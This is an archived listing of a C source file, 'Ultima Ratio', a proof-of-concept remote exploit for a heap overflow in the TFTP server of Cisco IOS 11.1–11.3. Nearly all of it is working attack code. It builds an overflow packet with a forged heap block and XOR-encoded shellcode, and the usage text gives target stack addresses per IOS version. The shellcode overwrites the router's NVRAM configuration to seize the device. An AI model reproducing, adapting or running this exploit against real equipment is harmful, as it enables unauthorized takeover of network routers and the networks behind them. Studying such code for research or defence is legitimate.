home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / iosheapUltimaratio.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  16KB  |  624 lines

  1. /* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
  2. * by FX of Phenoelit <fx@phenoelit.de>
  3. * http://www.phenoelit.de
  4. *
  5. * Black Hat Briefings 2002 / Las Vegas
  6. * DefCon X 2002 / Las Vegas
  7. *
  8. * Cisco IOS 11.1.x to 11.3.x TFTP-Server
  9. * If a TFTP server for a flash file is configured, a long filename in the TFTP
  10. * request will overflow a heap buffer. The attached program is a PoC to exploit
  11. * this vulnerability by executing "shell code" on the router and write the
  12. * attached configuration into NVRAM to basically own the router.
  13. *
  14. * Command line argument -p XXXXXXXX most definetly required. Obtain from syslog
  15. * host or any other means possible. The stack address changes by image.
  16. * Find the right one for the IOS build you are running and if you feel like it,
  17. * send it to me.
  18. *
  19. * Kiddy Warnings:
  20. * - It will NOT work in fire-and-forget mode.
  21. * - The shellcode is only good for Cisco 1000 and 1600 series.
  22. * - This code is not for illegal use.
  23. *
  24. * $Id: iosheapUltimaratio.c,v 1.1.1.1 2005/02/12 19:46:17 loni Exp $
  25. */
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <unistd.h>
  29. #include <string.h>
  30. #include <netinet/in.h>
  31. #include <rpc/types.h>
  32. #include <netdb.h>
  33. #include <sys/socket.h>
  34. #include <arpa/inet.h>
  35. #include <errno.h>
  36.  
  37. #include <sys/ioctl.h>
  38. #include <netinet/in.h>        
  39. #include <netpacket/packet.h>
  40. #include <net/ethernet.h>       
  41. #include <net/if.h>
  42. #include <sys/stat.h>
  43. #include <sys/types.h>
  44. #include <fcntl.h>
  45.  
  46.  
  47. typedef struct {
  48.   u_int16_t opcode __attribute__((packed));
  49.   u_int8_t file __attribute__((packed));
  50.   u_int8_t type __attribute__((packed));
  51. } tftp_t;
  52.  
  53. typedef struct {
  54.   u_int16_t  magic          __attribute__((packed));
  55.   u_int16_t  one           __attribute__((packed));
  56.   u_int16_t  checksum        __attribute__((packed));
  57.   u_int16_t  IOSver         __attribute__((packed));
  58.   u_int32_t  unknown         __attribute__((packed));
  59.   u_int32_t  ptr           __attribute__((packed));
  60.   u_int32_t  size          __attribute__((packed));
  61. } nvheader_t;
  62.  
  63. struct {
  64.   int verbose;
  65.   int test;
  66.   char *filename;
  67.   unsigned int overflow;
  68.   u_int32_t prev;
  69.   u_int32_t next;
  70.   u_int32_t offset;
  71.   u_int32_t buffer_location;
  72.   u_int32_t stack_address;
  73.   unsigned int nop_sleet;
  74.   int dot1;
  75. } cfg;
  76.  
  77. u_int16_t chksum(u_char *data, unsigned long count);
  78. void hexdump(unsigned char *bp, unsigned int length);
  79. void usage(char *s);
  80.  
  81. #define MAX_SIZE 1472
  82. #define XOR_PAT 0xD5
  83.  
  84. #define FB_PREV 28
  85. #define FB_NEXT 24
  86. #define FB_FREENEXT 60
  87. #define FB_FREEPREV 64
  88.  
  89. #define SPLASH \
  90. "Phenoelit ULTIMA RATIO\n" \
  91. " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
  92. " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n"
  93.  
  94. int main(int argc, char **argv) {
  95.   char option;
  96.   extern char *optarg;
  97.   unsigned int i;
  98.  
  99.   /* confg file */
  100.   int         fd;
  101.   struct stat     sb;
  102.  
  103.   u_char       *buffer;
  104.   u_char       *p;
  105.   nvheader_t     *nvh;
  106.   unsigned int    len;
  107.   u_int16_t      cs1;
  108.   u_int32_t temp;
  109.  
  110.   /* Network */
  111.   int sfd;
  112.   struct in_addr dest;
  113.   struct sockaddr_in sin;
  114.  
  115.   /* the packet */
  116.   unsigned int psize = 0;
  117.   u_char *pack;
  118.   tftp_t *tftp;
  119.   char tftp_type[] = "PHENOELIT";
  120.   char terminator[] = "\xCA\xFE\xF0\x0D";
  121.  
  122.  
  123.   char fakeblock[] =
  124. "\xFD\x01\x10\xDF" // RED
  125. "\xAB\x12\x34\xCD" // MAGIC
  126. "\xFF\xFF\xFF\xFF" // PID
  127. "\x80\x81\x82\x83" //
  128. "\x08\x0C\xBB\x76" // NAME
  129. "\x80\x8a\x8b\x8c" //
  130.  
  131. "\x02\x0F\x2A\x04" // NEXT
  132. "\x02\x0F\x16\x94" // PREV
  133.  
  134. "\x7F\xFF\xFF\xFF" // SIZE
  135. "\x01\x01\x01\x01" //
  136. "\xA0\xA0\xA0\xA0" // padding ?
  137. "\xDE\xAD\xBE\xEF" // MAGIC2
  138. "\x8A\x8B\x8C\x8D" //
  139. "\xFF\xFF\xFF\xFF" // padding
  140. "\xFF\xFF\xFF\xFF" // padding
  141.  
  142. "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
  143. "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address)
  144.  
  145. ;
  146.  
  147.   char fakeblock_dot1[] =
  148. "\xFD\x01\x10\xDF" // RED
  149. "\xAB\x12\x34\xCD" // MAGIC
  150. "\xFF\xFF\xFF\xFF" // PID
  151. "\x80\x81\x82\x83" //
  152. "\x08\x0C\xBB\x76" // NAME
  153. "\x80\x8a\x8b\x8c" //
  154.  
  155. "\x02\x0F\x2A\x04" // NEXT
  156. "\x02\x0F\x16\x94" // PREV
  157.  
  158. "\x7F\xFF\xFF\xFF" // SIZE
  159. "\x01\x01\x01\x01" //
  160. //"\xA0\xA0\xA0\xA0" // no padding here on 11.1
  161. "\xDE\xAD\xBE\xEF" // MAGIC2
  162. "\x8A\x8B\x8C\x8D" //
  163. "\xFF\xFF\xFF\xFF" // padding
  164. "\xFF\xFF\xFF\xFF" // padding
  165.  
  166. "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
  167. "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address)
  168.  
  169. ;
  170.  
  171.   char nop[] =
  172. "\x4E\x71"; // the IOS will write here
  173.  
  174.   char shell_code[] =
  175.  
  176. // ************** CODE ****************
  177.  
  178.     "\x22\x7c\x0f\xf0\x10\xc2"   //moveal #267391170,%a1 (0x020F2A24)
  179.     "\xe2\xd1"           //lsrw %a1@ (0x020F2A2A)
  180.     "\x47\xfa\x01\x23"       //lea %pc@(12d<xor_code+0xfd>),%a3 (0x020F2A2C)
  181.     "\x96\xfc\x01\x01"       //subaw #257,%a3 (0x020F2A30)
  182.     "\xe2\xd3"           //lsrw %a3@ (0x020F2A34)
  183.     "\x22\x3c\x01\x01\x01\x01"   //movel #16843009,%d1 (0x020F2A36)
  184.     "\x45\xfa\x01\x17"       //lea %pc@(131<xor_code+0x101>),%a2(0x020F2A3C)
  185.     "\x94\xfc\x01\x01"       //subaw #257,%a2 (0x020F2A40)
  186.     "\x34\x3c\xd5\xd5"       //movew #-10795,%d2 (0x020F2A44)
  187.     "\xb5\x5a"           //eorw %d2,%a2@+ (0x020F2A48)
  188.     "\x0c\x92\xca\xfe\xf0\x0d"   //cmpil #-889262067,%a2@ (0x020F2A4A)
  189.     "\xcc\x01"           //branch (modified) (0x020F2A50)
  190.     "\xff\xf6"           //(0x020F2A52)
  191.  
  192. // ************** XORed CODE ****************
  193.  
  194.     "\x93\x29\xF2\xD5"       //movew #9984,%sr (0x020F2A5E)
  195.     "\xF7\xA9\xDA\x25\xC5\x17"   //moveal #267391170,%a1 (0x020F2A62)
  196.     "\xE7\x69\xD5\xD4"       //movew #1,%a1@ (0x020F2A68)
  197.     "\x90\x2F\xD5\x87"       //lea %pc@(62 <config>),%a2 (0x020F2A6C)
  198.     "\xF7\xA9\xDB\xD5\xD7\x7B"   //moveal #234881710,%a1 (0x020F2A70)
  199.     "\xA1\xD4"           //moveq #1,%d2 (0x020F2A76)
  200.     "\xC7\x0F"           //moveb %a2@+,%a1@+ (0x020F2A78)
  201.     "\xF7\xE9\xD5\xD5\x2A\x2A"   //movel #65535,%d1 (0x020F2A7A)
  202.     "\x46\x97"           //subxw %d2,%d1 (0x020F2A80)
  203.     "\xBE\xD5\x2A\x29"       //bmiw 22 <write_delay> (0x020F2A82)
  204.     "\xD9\x47\x1F\x2B\x25\xD8"   //cmpil #-889262067,%a2@ (0x020F2A86)
  205.     "\xB3\xD5\x2A\x3F"       //bnew 1a <copy_confg> (0x020F2A8C)
  206.     "\xE7\x29\xD5\xD5"       //movew #0,%a1@+ (0x020F2A90)
  207.     "\xF7\xE9\xD5\xD5\x2A\x2A"   //movel #65535,%d1 (0x020F2A94)
  208.     "\x46\x97"           //subxw %d2,%d1 (0x020F2A9A)
  209.     "\xBE\xD5\x2A\x29"       //bmiw 3c <write_delay2> (0x020F2A9C)
  210.     "\x66\x29\xDB\xD5\xF5\xD5"   //cmpal #234889216,%a1 (0x020F2AA0)
  211.     "\xB8\xD5\x2A\x3D"       //bltw 32 <delete_confg> (0x020F2AA6)
  212.     "\x93\x29\xF2\xD5"       //movew #9984,%sr (0x020F2AAA)
  213.     "\xF5\xA9\xDA\x25\xD5\xD5"   //moveal #267386880,%a0 (0x020F2AAE)
  214.     "\xFB\x85"           //moveal %a0@,%sp (0x020F2AB4)
  215.     "\xF5\xA9\xDA\x25\xD5\xD1"   //moveal #267386884,%a0 (0x020F2AB6)
  216.     "\xF5\x85"           //moveal %a0@,%a0 (0x020F2ABC)
  217.     "\x9B\x05"           //jmp %a0@ (0x020F2ABE)
  218.  
  219. ;
  220.  
  221.   /* configure defaults */
  222.   memset(&dest,0,sizeof(dest));
  223.   memset(&cfg,0,sizeof(cfg));
  224.   cfg.overflow=652;
  225.   cfg.prev=0x020F1694;
  226.   cfg.next=0x020F2A04;
  227.   //cfg.offset=0x13D4;
  228.   //cfg.offset=0x137C; // 4988
  229.   cfg.offset=0x1390; // 5008
  230.   cfg.buffer_location=0x020F2A24;
  231.   cfg.stack_address=0x02057ECC;
  232.   cfg.nop_sleet=16;
  233.  
  234.   printf("%s\n",SPLASH);
  235.  
  236.   while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
  237. switch (option) {
  238.   case 'd': if (inet_aton(optarg,&dest)==0) {
  239.   /* ups, wasn't an IP - maybe a hostname */
  240.   struct hostent   *hd;
  241.   if ((hd=gethostbyname(optarg))==NULL) {
  242. fprintf(stderr,"Could not resolve destination host\n");
  243. return (1);
  244.   } else {
  245. bcopy(hd->h_addr,(char *)&dest,hd->h_length);
  246.   }
  247. }
  248. break;
  249.       case 'f':  cfg.filename=(char *)malloc(strlen(optarg)+1);
  250.             strcpy(cfg.filename,optarg);
  251.             break;
  252.   case 'l': if ( (cfg.overflow=atoi(optarg))==0 ) {
  253.   fprintf(stderr,"Overflow length incorrect\n");
  254.   return (1);
  255. }
  256. break;
  257.   case 'o': if ( (cfg.offset=atoi(optarg))==0 ) {
  258.   fprintf(stderr,"Offset incorrect\n");
  259.   return (1);
  260. }
  261. break;
  262.   case 'N': if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
  263.   fprintf(stderr,"NOP sleet incorrect\n");
  264.   return (1);
  265. }
  266. break;
  267.   case 'p': sscanf(optarg,"%08X",&(cfg.prev));
  268. break;
  269.   case 'n': sscanf(optarg,"%08X",&(cfg.next));
  270. break;
  271.   case 's': sscanf(optarg,"%08X",&(cfg.stack_address));
  272. break;
  273.   case 'v': cfg.verbose++;
  274. break;
  275.   case 't': cfg.test++;
  276. break;
  277.   case '1': cfg.dot1++;
  278. break;
  279.   default: usage(argv[0]);
  280. return (1);
  281. }
  282.   }
  283.  
  284.   /*
  285.    * check for dummies
  286.    */
  287.  
  288.   if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
  289. usage(argv[0]);
  290. return 1;
  291.   }
  292.  
  293.   /*
  294.    * patch fake block with new addresses
  295.    */
  296.  
  297.   cfg.buffer_location=cfg.prev+20+cfg.offset;
  298.  
  299.   if (cfg.dot1) {
  300. temp=htonl(cfg.prev+20);
  301. memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
  302. temp=htonl(cfg.next);
  303. memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
  304. temp=htonl(cfg.buffer_location);
  305. memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
  306. temp=htonl(cfg.stack_address);
  307. memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
  308.   } else {
  309. temp=htonl(cfg.prev+20);
  310. memcpy(&(fakeblock[FB_PREV]),&(temp),4);
  311. temp=htonl(cfg.next);
  312. memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
  313. temp=htonl(cfg.buffer_location);
  314. memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
  315. temp=htonl(cfg.stack_address);
  316. memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
  317.   }
  318.  
  319.   if (cfg.verbose) {
  320. if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
  321. printf("Values:\n"
  322. "- prev ptr of 0x%08X\n"
  323. "- next ptr of 0x%08X\n"
  324. "- buffer located at 0x%08X (offset %u)\n"
  325. "- stack return address 0x%08X\n"
  326. "- overflow lenght %u\n"
  327. "- NOP sleet %u\n"
  328. ,
  329. cfg.prev+20,
  330. cfg.next,
  331. cfg.buffer_location,cfg.offset,
  332. cfg.stack_address,
  333. cfg.overflow,
  334. cfg.nop_sleet);
  335.   }
  336.  
  337.   if (cfg.dot1) {
  338. if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
  339.   fprintf(stderr,"0x00 byte in fake block detected!\n");
  340.   if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
  341.   return (1);
  342. }
  343.   } else {
  344. if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
  345.   fprintf(stderr,"0x00 byte in fake block detected!\n");
  346.   if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
  347.   return (1);
  348. }
  349.   }
  350.  
  351.   /*
  352.    * Load Config
  353.    * - load into buffer
  354.    * - prepare NVRAM header
  355.    * - calculate checksum
  356.    * -> *buffer contains payload
  357.    */
  358.   if (cfg.filename==NULL) return (-1);
  359.   if (stat(cfg.filename,&sb)!=0) {
  360.     fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
  361.     return (-1);
  362.   }
  363.  
  364.   if ((fd=open(cfg.filename,O_RDONLY))<0) {
  365.     fprintf(stderr,"Could not open() file %s\n",cfg.filename);
  366.     return (-1);
  367.   }
  368.  
  369.   len=sb.st_size;
  370.   if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
  371.     fprintf(stderr,"Malloc() failed\n");
  372.     return (-1);
  373.   }
  374.   memset(buffer,0,len+sizeof(nvheader_t)+10);
  375.  
  376.   p=buffer+sizeof(nvheader_t);
  377.   if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  378.   close(fd);
  379.  
  380.   /*
  381.    * pad config so it is word bound for the 0xcafef00d test
  382.    */
  383.   if ((len%2)!=0) {
  384. strcat(p,"\x0A");
  385. len++;
  386. if (cfg.verbose) printf("Padding config by one\n");
  387.   }
  388.  
  389.   nvh=(nvheader_t *)buffer;
  390.   nvh->magic=htons(0xABCD);
  391.   nvh->one=htons(0x0001); // is always one
  392.   nvh->IOSver=htons(0x0B03); // IOS version
  393.   nvh->unknown=htonl(0x00000014); // something, 0x14 just works
  394.   nvh->ptr=htonl(0x020AA660); // something, 0x020AA660 just works
  395.   nvh->size=htonl(len);
  396.  
  397.   cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  398.   if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  399.   nvh->checksum=cs1;
  400.  
  401.  
  402.   /*
  403.    * Check the size of all together and make sure it will fit into the
  404.    * packet
  405.    */
  406.   psize= len + sizeof(nvheader_t) +
  407.   + strlen(fakeblock)
  408.   + ( strlen(nop) * cfg.nop_sleet )
  409.   + strlen(shell_code)
  410.   + strlen(terminator)
  411.   + cfg.overflow + 1
  412.   + sizeof(tftp_t) + strlen(tftp_type) ;
  413.   if ( psize > MAX_SIZE ) {
  414. fprintf(stderr,"The config file specified is too big and does not fit"
  415. " into one packet. Specify smaller file\n");
  416. free(buffer);
  417. return (1);
  418.   }
  419.   if ((pack=malloc(psize))==NULL) {
  420. fprintf(stderr,"Could not malloc() packet\n");
  421. return (-1);
  422.   }
  423.   memset(pack,0,psize);
  424.  
  425.  
  426.   /*
  427.    * XOR encode the config block
  428.    */
  429.   p=buffer;
  430.   for (i=0;i<(len+sizeof(nvheader_t));i++) {
  431. p[i]=p[i]^XOR_PAT;
  432.   }
  433.  
  434.  
  435.   /*
  436.    * Prepare the TFTP protocol part
  437.    */
  438.   tftp=(tftp_t *)((void *)pack);
  439.   tftp->opcode=htons(1);
  440.   
  441.   /* (1) Overflow */
  442.   p=(char *)&(tftp->file);
  443.   memset(p,'A',cfg.overflow);
  444.   p+=cfg.overflow;
  445.  
  446.   /* (2) Fake block */
  447.   if (cfg.dot1) {
  448. memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
  449. p+=sizeof(fakeblock_dot1)-1;
  450.   } else {
  451. memcpy(p,fakeblock,sizeof(fakeblock)-1);
  452. p+=sizeof(fakeblock)-1;
  453.   }
  454.  
  455.   /* (3) add NOP sleet */
  456.   for (i=0;i<cfg.nop_sleet;i++) {
  457. memcpy(p,nop,sizeof(nop)-1);
  458. p+=sizeof(nop)-1;
  459.   }
  460.  
  461.   /* (4) append shell code */
  462.   memcpy(p,shell_code,sizeof(shell_code)-1);
  463.   p+=sizeof(shell_code)-1;
  464.  
  465.   /* (5) new config */
  466.   memcpy(p,buffer,strlen(buffer));
  467.   p+=strlen(buffer);
  468.  
  469.   /* (6) terminator */
  470.   strcpy(p,terminator);
  471.   p+=strlen(terminator)+1;
  472.  
  473.   /* (7) give it a type */
  474.   strcpy(p,tftp_type);
  475.  
  476.  
  477.  
  478.   if (cfg.verbose>1) hexdump(pack,psize);
  479.  
  480.   if (cfg.test) return(0);
  481.  
  482.   /*
  483.    * Perform attack
  484.    */
  485.   if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
  486. perror("socket()");
  487. return (-1);
  488.   }
  489.   memset(&sin,0,sizeof(struct sockaddr_in));
  490.   sin.sin_family=AF_INET;
  491.   sin.sin_port=htons(69); /* tftp */
  492.   memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));
  493.  
  494.   printf("*** Sending exploit ***\n");
  495.  
  496.   if (sendto(sfd,pack,psize,0,
  497. (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
  498. perror("sendto()");
  499. return(-1);
  500.   }
  501.  
  502.   close(sfd);
  503.  
  504.   if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);
  505.  
  506.   /*
  507.    * clean up
  508.    */
  509.   free(buffer);
  510.   free(pack);
  511.  
  512.   return 0;
  513. }
  514.  
  515.  
  516. /* checksum function as used in IRPAS, stolen somewhere */
  517. u_int16_t chksum(u_char *data, unsigned long count) {
  518.   u_int32_t      sum = 0;
  519.   u_int16_t      *wrd;
  520.  
  521.   wrd=(u_int16_t *)data;
  522.   while( count > 1 ) {
  523.     sum = sum + *wrd;
  524.     wrd++;
  525.     count -= 2;
  526.   }
  527.  
  528.   if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }
  529.  
  530.   while (sum>>16) {
  531.     sum = (sum & 0xffff) + (sum >> 16);
  532.   }
  533.  
  534.   return (~sum);
  535. }
  536.  
  537.  
  538. /* A better version of hdump, from Lamont Granquist. Modified slightly
  539. * by Fyodor (fyodor@DHP.com)
  540. * obviously stolen by FX from nmap (util.c)*/
  541. void hexdump(unsigned char *bp, unsigned int length) {
  542.  
  543.  /* stolen from tcpdump, then kludged extensively */
  544.  
  545.  static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
  546.  
  547.  register const u_short *sp;
  548.  register const u_char *ap;
  549.  register u_int i, j;
  550.  register int nshorts, nshorts2;
  551.  register int padding;
  552.  
  553.  printf("\n\t");
  554.  padding = 0;
  555.  sp = (u_short *)bp;
  556.  ap = (u_char *)bp;
  557.  nshorts = (u_int) length / sizeof(u_short);
  558.  nshorts2 = (u_int) length / sizeof(u_short);
  559.  i = 0;
  560.  j = 0;
  561.  while(1) {
  562.   while (--nshorts >= 0) {
  563.    printf(" %04x", ntohs(*sp));
  564.    sp++;
  565.    if ((++i % 8) == 0)
  566.     break;
  567.   }
  568.   if (nshorts < 0) {
  569.    if ((length & 1) && (((i-1) % 8) != 0)) {
  570.     printf(" %02x ", *(u_char *)sp);
  571.     padding++;
  572.    }
  573.    nshorts = (8 - (nshorts2 - nshorts));
  574.    while(--nshorts >= 0) {
  575.     printf("   ");
  576.    }
  577.    if (!padding) printf("   ");
  578.   }
  579.   printf(" ");
  580.  
  581.   while (--nshorts2 >= 0) {
  582.    printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
  583.    ap += 2;
  584.    if ((++j % 8) == 0) {
  585.     printf("\n\t");
  586.     break;
  587.    }
  588.   }
  589.   if (nshorts2 < 0) {
  590.    if ((length & 1) && (((j-1) % 8) != 0)) {
  591.     printf("%c", asciify[*ap]);
  592.    }
  593.    break;
  594.   }
  595.  }
  596.  if ((length & 1) && (((i-1) % 8) == 0)) {
  597.   printf(" %02x", *(u_char *)sp);
  598.   printf("                    %c", asciify[*ap]);
  599.  }
  600.  printf("\n");
  601. }
  602.  
  603. void usage(char *s) {
  604.   fprintf(stderr,
  605.   "Usage: %s -d <device_ip> -f config.file [-opts]\n"
  606.   "Options:\n"
  607.   " -p 1234ABCD  sets the previous ptr address\n"
  608.   " -n 1234ABCD  sets the next ptr address\n"
  609.   " -s 1234ABCD  sets the stack address\n"
  610.   " -o 1234    sets the offset from prev to buffer\n"
  611.   " -l 1234    sets the overflow size\n"
  612.   " -N 1234    sets the NOP sleet\n"
  613.   " -1      use IOS 11.1 memory layout\n"
  614.   " -v      increases verbosity (highly recommended)\n"
  615.   " -t      only test, don't send\n"
  616.   "\n"
  617.   "Recommended stack addresses:\n"
  618.   "IOS 11.1(20)     -s 020A1120 (IP Input)\n"
  619.   "IOS 11.2(18)P    -s 0204120C (Load Meter)\n"
  620.   "IOS 11.2(26)P4    -s 02041554 (Load Meter)\n"
  621.   "IOS 11.3(11)B    -s 02057ECC (Load Meter)\n"
  622.   ,s);
  623.